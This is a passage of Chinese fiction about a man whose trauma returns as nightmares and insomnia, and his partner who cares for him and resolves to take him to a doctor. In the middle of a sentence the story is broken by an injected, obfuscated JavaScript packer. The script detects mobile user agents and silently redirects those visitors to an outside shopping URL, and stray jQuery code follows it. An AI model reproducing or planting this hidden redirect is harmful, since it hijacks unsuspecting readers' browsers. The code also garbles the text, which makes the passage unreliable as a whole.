后来他喂养到一只猫，请领养它。他每天照常上班、吃药、喂猫，但夜里开始失眠。不是那种辗转反侧的清醒，是躺下去之后意识被抽空，只剩一具躯壳盯着天花板上从窗帘缝隙漏进来的一线月光，从深夜盯到天亮。
他开始反复做同一个梦。梦里他站在那间没有门的房间里，摄像头红光闪烁，养母坐在客厅沙发上，手里拿着那张拼好的购物小票，当着他的面一片一片撕碎。他想冲过去抢，但脚被钉在地板上，喉咙里发不出声音。然后画面翻转，小灰蜷在沙发角落里，灰白色的毛被染成暗红，他想把它抱起来，手伸过去却只摸到一滩冰凉。他在梦里喊不出声，醒来时枕头是湿的，后背全是冷汗。他伸手去摸床头柜上的药盒——忘海把早中晚三格分装得整整齐齐，他打开早上的那格，把药片倒在掌心里。白色，淡蓝色，三种药，和昨天一样，和前天一样，和过去无数个早晨一样。他把药吞下去，喝了一口水，靠在床头闭上眼睛，等药效慢慢起作用。但那个梦还在眼前晃——小灰的尾巴轻轻动了一下就停了，和那天傍晚他在卧室床上抱起它时一模一样。他睁开眼，看着自己摊开的掌心。忘海缝袖口时留下的针脚还在，洗过太多次，线已经软得和布料融为一体。他想起自己用透明胶带拼好的购物小票，裂缝还在，但胶带粘住了。可梦里的画面粘不住。
忘海发现不对劲是在第二天晚上。他下班回来，用钥匙开门，客厅灯没开，电视也没开。苌斓坐在沙发上，面前放着那本深蓝色相册，翻到最后一页——两人站在梧桐树下，围巾被风卷起来缠在一起。他叫了他一声，苌斓没有反应。又叫了一声，他才像从很深的水底浮上来一样慢慢转过头，眼神是散的，过了好一会儿才聚焦。
“……你回来了。”
忘海在他面前蹲下来，握住他的手。凉的。“今天吃药了吗。”苌斓点了点头，说吃了，早上和中午都吃了，晚上的还没吃。忘海把茶几上的药盒打开，把晚上的那格递到他手心里，看着他吞下去，又去厨房倒了一杯温水放在他手边。他没有问“你怎么了”——他问了，苌斓也说不清。不是具体哪件事压垮了他，是所有的碎片在同一时间开始往下掉。养母撕碎的购物小票粘好了，但撕碎的声音还在耳朵里。门被拆掉之后装了新的，但门框上的凹痕还在。紫砂杯碎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17724402|208790||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
成好几片用胶水粘回去了，裂缝在灯光下泛着细密的光泽，但再也不敢用它来喝茶，怕热水一冲裂缝又会炸开。小灰的毛线球被踩扁了，忘海用针线重新绕成了球，但毛线上还残留着淡淡的血腥气，怎么洗都洗不掉。他以为自己把这些东西都收好了，锁在抽屉里，关在相册里，压在药盒底下。但现在它们集体造反，把他从睡眠里挖起来，从他刚吞下的药片缝隙里往外涌。
忘海没有说话。他把苌斓的手握在自己掌心里，两只手都握着他的，和很多年前在医院病房里一模一样。过了很久他才开口，声音很轻，和每次在路口说“红枣茶，八颗”时一样平稳。
“明天我请假。我们去看医生。”
苌斓没有说话，只是把忘海的手攥得很紧很紧。窗外梧桐树的叶子开始落了，一片一片，在路灯的光圈里打着旋。他知道自己生病了——不是感冒发烧那种病，是那种沉积了太久、再也压不住的东西在往外渗。裂开了，但他身边这个人正握着他的手，和多年前在急救室门口、在天台上、在布沙发上、在每一个他快要沉下去的时刻一模一样。只要这只手还在，他就还能撑过今晚。